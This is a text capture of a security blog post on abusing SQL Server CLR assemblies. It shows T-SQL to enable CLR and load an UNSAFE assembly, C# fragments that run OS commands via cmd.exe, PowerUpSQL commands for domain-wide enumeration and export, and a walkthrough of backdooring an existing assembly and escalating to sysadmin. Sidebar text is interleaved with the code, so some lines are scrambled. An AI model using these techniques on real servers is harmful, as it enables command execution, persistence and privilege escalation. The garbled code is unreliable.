Professional Documents
Culture Documents
Attacking SQL Server CLR Assemblies PDF
Attacking SQL Server CLR Assemblies PDF
In this blog, I'll be expanding on the CLR assembly attacks developed by Lee Christensen and covered
Kirk'sScott
CLR Sutherland
blog series. I'll review how to create, import, export, and modify CLR assemblies in SQL Ser
goal of privilege escalation, OS command execution, and persistence. I'll also share a few new PowerU
functions that can be used to execute the CLR attacks on a larger scale in Active Directory environmen
Related Posts
Below is an overview of what will be covered. Feel free to jump ahead:
How to get SQL Server Sysadmin
Privileges as a Local Admin with
What is a CLR assembly?
PowerUpSQL
MakeSutherland
Scott a custom CLR DLL for SQL Server
Import mythe
Expanding CLR DLLwith
Empire intoSQL
SQL Server
Alexander Leary
Convert my CLR DLL into a hexadecimal string and import it without a file
Getting Started with WMI
List existing CLR Stored Procedures
Weaponization – Part 6
Export anLeary
Alexander existing CLR assembly to a DLL
Modify an
Recent exported
Posts CLR DLL and ALTER an existing CLR Assembly in SQL Server
by Scott
Escalate privileges in SQL Server using a Custom CLR
Attacking SQL Server CLR
How
doI
Make a Custom CLR DLL for SQL Server?
Below is a C# template for executing OS commands based on Nathan Kirk's work and a few nice Micro
Naturally, you can make whatever modifications you want, but once you're done save the file to
"c:\temp\cmd_exec.cs".
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 1/22
12/13/2017 Attacking SQL Server CLR Assemblies
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
Share
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 2/22
12/13/2017 Attacking SQL Server CLR Assemblies
Now the goal is to simply compile "c:\temp\cmd_exec.cs" to a DLL using the csc.exe compiler. Even if y
Visual Studio installed, the csc.exe compiler ships with the .NET framework by default. So, it should be
Windows system somewhere. Below is a PowerShell command to help find it.
Assuming you found csc.exe, you can compile the "c:\temp\cmd_exec.cs" file to a DLL with a comman
one below.
Do
How Import My CLR DLL into SQL Server?
To import
Related
yourPosts
new DLL into SQL Server, your SQL login will need sysadmin privileges, the CREATE A
permission, or the ALTER ASSEMBLY permission. Follow the steps below to register your DLL and link
How to get SQL Server Sysadmin
procedure so the
Privileges as acmd_exec method
Local Admin with can be executed via TSQL.
PowerUpSQL
Scott
Log into Sutherland
your SQL Server as a sysadmin and issue the TSQL queries below.
Expanding the Empire with SQL
Alexander Leary
-- Select the msdb database
use Getting
msdb Started with WMI
Weaponization – Part 6
Alexander Leary
-- Enable show advanced options on the server
Recent Posts
sp_configure 'showbyadvanced
Scott options',1
RECONFIGURE
Attacking SQL Server CLR
GO Assemblies
-- Enable clr on the server
How to get SQL Server Sysadmin
sp_configure
Privileges as'clr enabled',1
a Local Admin with
PowerUpSQL
RECONFIGURE
GO Common Red Team Techniques vs
Blue Team Controls Infographic
-- Import
Share the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 3/22
12/13/2017 Attacking SQL Server CLR Assemblies
Now you should be able to execute OS commands via the "cmd_exec" stored procedure in the "msdb"
shown in the example below.
Scott Sutherland
Related Posts
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 4/22
12/13/2017 Attacking SQL Server CLR Assemblies
# Target file
$assemblyFile = "c:\temp\cmd_exec.dll"
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
Related Posts
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
How to get SQL Server Sysadmin
Privileges as a Local Admin with
PowerUpSQL
# Build create procedure command
Scott Sutherland
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) A
NAMEExpanding the Empire with SQL
[my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
Alexander Leary
$stringBuilder.AppendLine("GO") | Out-Null
Getting Started with WMI
$stringBuilder.AppendLine(" ") | Out-Null
Weaponization – Part 6
Alexander Leary
# Create run os command
Recent Posts by Scott
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO")
Attacking SQL Server CLR | Out-Null
$stringBuilder.AppendLine("
Assemblies ") | Out-Null
How to get SQL Server Sysadmin
Privileges
# Create fileas containing
a Local Adminall
withcommands
PowerUpSQL
$stringBuilder.ToString() -join "" | Out-File c:\temp\cmd_exec.txt
Common Red Team Techniques vs
Blue Team Controls Infographic
If everything went smoothly, the "c:\temp\cmd_exec.txt" file should contain the following TSQL comman
Share
example, the hexadecimal string has been truncated, but yours should be much longer.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 5/22
12/13/2017 Attacking SQL Server CLR Assemblies
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 6/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
PS C:\temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp
C# File: c:\temp\runcmd.csc
CLR DLL: c:\temp\runcmd.dll
SQL Cmd: c:\temp\runcmd.txt
Below is a short script for generating 10 sample CLR DLLs / CREATE ASSEMBLY TSQL scripts. It can
when playing around with CLR assemblies in the lab.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 7/22
12/13/2017 Attacking SQL Server CLR Assemblies
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
Scott Sutherland
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
Related Posts
am.assembly_class,
How to getam.assembly_method,
SQL Server Sysadmin
Privileges as a Local Adminas
so.object_id with
[sp_object_id],
PowerUpSQL
so.name AS [sp_name],
Scott Sutherland
Expandingso.[type] as [sp_type],
the Empire with SQL
Alexander asmbly.permission_set_desc,
Leary
asmbly.create_date,
Getting Started with WMI
Weaponization – Part 6
asmbly.modify_date,
Alexander af.content
Leary
FROMRecent Posts
sys.assembly_modules
by Scott am
INNER JOIN sys.assemblies asmbly
ON Attacking SQL Server CLR
asmbly.assembly_id = am.assembly_id
Assemblies
INNER JOIN sys.assembly_files af
ON How to getasmbly.assembly_id
SQL Server Sysadmin = af.assembly_id
Privileges as a Local Admin with
INNER JOIN sys.objects so
PowerUpSQL
ON so.[object_id] = am.[object_id]
Common Red Team Techniques vs
Blue Team Controls Infographic
With this
Sharequery we can see the file name, assembly name, assembly class name, the assembly method
stored procedure the method is mapped to.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 8/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
PowerUpSQL Automation
Common Red Team Techniques
Blue Team Controls Infographic
vs
I added a function for this in PowerUpSQL called "Get-SQLStoredProcedureCLR" that will iterate throu
Share
databases and provide the assembly information for each one. Below is a command sample.
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Passwor
'sapassword!' | Out-GridView
You can also execute it against all domain SQL Servers with the command below (provided you have t
privileges).
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 9/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
SELECT pr.name as procname,
pa.name as param_name,
TYPE_NAME(system_type_id) as Type,
Related Posts pa.max_length,
pa.has_default_value,
How to get SQL Server Sysadmin
pa.is_nullable
Privileges as a Local Admin with
FROMPowerUpSQL sys.all_parameters pa
Scott
INNER JOINSutherland sys.procedures pr on pa.object_id = pr.object_id
WHERE
Expanding the Empire withpr.type
SQL like 'pc' and pr.name like 'cmd_exec'
Alexander Leary
Getting Started with WMI
Weaponization – Part 6
Alexander Leary
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 10/22
12/13/2017 Attacking SQL Server CLR Assemblies
In this example, we can see that it only accepts one string parameter named "execCommand". An atta
the stored procedure may be able to determine that it can be used for OS command execution.
PowerUpSQL
Scott Sutherland
Automation
In the last section, we talked about how to list out CLR assembly with the PowerUpSQL command belo
Related Posts
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Passwor
How to get SQL
'sapassword!' Server Sysadmin
| Format-Table -AutoSize
Privileges as a Local Admin with
PowerUpSQL
Scott Sutherland
The same function supports a "ExportFolder" option. If you set it, the function will export the assemblies
folder.Expanding
Below isthe
an Empire
examplewithcommand
SQL and sample output.
Alexander Leary
Getting Started with WMI -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -ExportFolder c:\temp
Get-SQLStoredProcedureCLR
Weaponization – Part 6
sa -Password 'sapassword!' | Format-Table -AutoSize
Alexander Leary
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 11/22
12/13/2017 Attacking SQL Server CLR Assemblies
Once again, you can also export CLR DLLs on scale if you are a domain user and a sysadmin using th
below:
DLLs can be found in the output folder. The script will dynamically build a folder structure based on eac
instance, and database name.
Scott Sutherland
Related Posts
Already
Share Imported into SQL Server?
Below is a brief overview showing how to decompile, view, edit, save, and reimport an existing SQL Se
with dnSpy. You can download dnSpy from here.
For this exercise, we are going to modify the cmd_exec.dll exported from SQL Server earlier.
1. Open the cmd_exec.dll file in dnSpy. In the left panel, drill down until you find the "cmd_exec" me
it. This will immediately allow you to review the source code and start hunting for bugs.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 12/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 13/22
12/13/2017 Attacking SQL Server CLR Assemblies
3. Edit the code how you wish. However, in this example I added a simple "backdoor" that adds a file
"c:\temp\" directory every time the "cmd_exec" method is called. Example code and a screen sho
[SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process expr_05 = new Process();
expr_05.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
expr_05.StartInfo.UseShellExecute = true;
expr_05.Start();
expr_05.WaitForExit();
expr_05.Close();
Scott Sutherland
Process expr_54 = new Process();
expr_54.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_54.StartInfo.Arguments
Related Posts = string.Format(" /C 'whoami > c:\\temp\\clr_backdoor.
execCommand.Value);
How toexpr_54.StartInfo.UseShellExecute
get SQL Server Sysadmin = true;
Privileges as a Local Admin with
expr_54.Start();
PowerUpSQL
expr_54.WaitForExit();
Scott Sutherland
expr_54.Close();
Expanding the Empire with SQL
}
Alexander Leary
Getting Started with WMI
Weaponization – Part 6
Alexander Leary
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 14/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 15/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 16/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
3. Select File from the top menu and choose "Save Module...".
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 17/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
PS C:\temp> Create-SQLFileCLRDll
Attacking SQL Server CLR -Verbose -SourceDllPath .\cmd_exec.dll
Assemblies
VERBOSE: Target C# File: NA
VERBOSE:
How toTarget
get SQLDLL File:
Server .\cmd_exec.dll
Sysadmin
Privileges as a Local Admin with
VERBOSE: Grabbing bytes from the dll
PowerUpSQL
VERBOSE: Writing SQL to: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
Common
C# File: NA Red Team Techniques vs
Blue Team Controls Infographic
CLR DLL: .\cmd_exec.dll
SQL Share
Cmd: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
The new cmd_exec.txt should look some things like the statement below.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 18/22
12/13/2017 Attacking SQL Server CLR Assemblies
The ALTER statement is used to replace the existing CLR instead of DROP and CREATE. As Microsof
"ALTER ASSEMBLY does not disrupt currently running sessions that are running code in the assembly
Current sessions complete execution by using the unaltered bits of the assembly." So, in summary, not
boom.Scott
TheSutherland
TSQL query execution should look something like the screenshot below.
Related Posts
Share
To check if your code modification worked, run the "cmd_exec" stored procedure and verify that the
"c:\temp\backdoor.txt" file was created.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 19/22
12/13/2017 Attacking SQL Server CLR Assemblies
If your SQL Server login is not a sysadmin, but has the CREATE or ALTER ASSEMBLY permission, yo
to obtain sysadmin privileges using a custom CLR that executes OS commands under the context of th
service account (which is a sysadmin by default). However, for that to be successful, the database you
assembly in, must have the 'is_trustworthy' flag set to '1' and the 'clr enabled' server setting turned on.
the msdb database is trustworthy, and the 'clr enabled' setting is disabled.
I've never seen the CREATE or ALTER ASSEMBLY permissions assigned explicitly to a SQL login. How
seen application SQL logins added to the 'db_ddladmin' database role and that does have the 'ALTER A
permission.
Note: SQL Server 2017 introduced the 'clr strict security' configuration. Microsoft documentation states
needsScott
to beSutherland
disabled to allow the creation of UNSAFE or EXTERNAL assemblies.
Wrap Up
Related Posts
In this blog, I showed a few ways CLR assemblies can be abused and how some of the tasks such as e
assemblies
How to can be done
get SQL Serveron scale using PowerUpSQL. It's worth noting that all of the techniques shown
Sysadmin
Privileges as a Local Admin with
and tied to alerts using native SQL Server functionality, but I'll have to cover that another day. In the me
PowerUpSQL
Scott
fun and Sutherland
hack responsibly!
Expanding the Empire with SQL
Alexander
PS: Don't forgetLeary
that all of the attacks shown can also be executed via SQL Injection with a little manua
automation.
Getting Started with WMI
Weaponization – Part 6
Alexander Leary
References
Recent Posts by Scott
https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.1
Attacking SQL Server CLR
https://msdn.microsoft.com/en-us/library/system.reflection.module.moduleversionid.aspx
Assemblies
https://msdn.microsoft.com/en-us/library/ff878250.aspx
How to get SQL Server Sysadmin
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql
Privileges as a Local Admin with
PowerUpSQL
https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-assembly-transact-sql
Common Red Team Techniques vs
http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-exec
Blue Team Controls Infographic
Tags:Share
CLR, Code Execution, dnspy, powershell, SQL Server
Leave a Reply
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 20/22
12/13/2017 Attacking SQL Server CLR Assemblies
Sort b
ctrlb
Scott Sutherland
Related Posts
Thanks! When you get PowerShell and SQL Server together it’s always a good time!
How Author
to get SQL Server Sysadmin
Privileges as a Local Admin with 4m
REPLY
PowerUpSQL
Scott Sutherland
Expanding the Empire with SQL
OJ
Alexander Leary
Getting Nice
Started
post,
with
good
WMI detail. Cheers for this. I’d also like to plug that after reading Nathan’s original article, I th
Weaponization – Part 6
MSF module that does exactly this. It can be found here: https://github.com/rapid7/metasploit-
Guest
Alexander Leary
framework/blob/master/modules/exploits/windows/mssql/mssql_clr_payload.rb
Recent Posts by Scott
Keep up the great work!
Attacking SQL Server CLR
Assemblies
REPLY 4 mont
How to get SQL Server Sysadmin
Privileges as a Local Admin with
PowerUpSQL Scott Sutherland
Common Red Team Techniques vs
Nice!Infographic
Blue Team Controls Your code looks very thought out. Hrmm…I bet that could be ported to a SQLi MSF modu
Author I’ll have to check if our interns have some free time
Share
REPLY 4m
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 21/22
12/13/2017 Attacking SQL Server CLR Assemblies
Scott Sutherland
Related Posts
Share
Copyright 2017 by NetSPI. All rights reserved.
https://blog.netspi.com/attacking-sql-server-clr-assemblies/ 22/22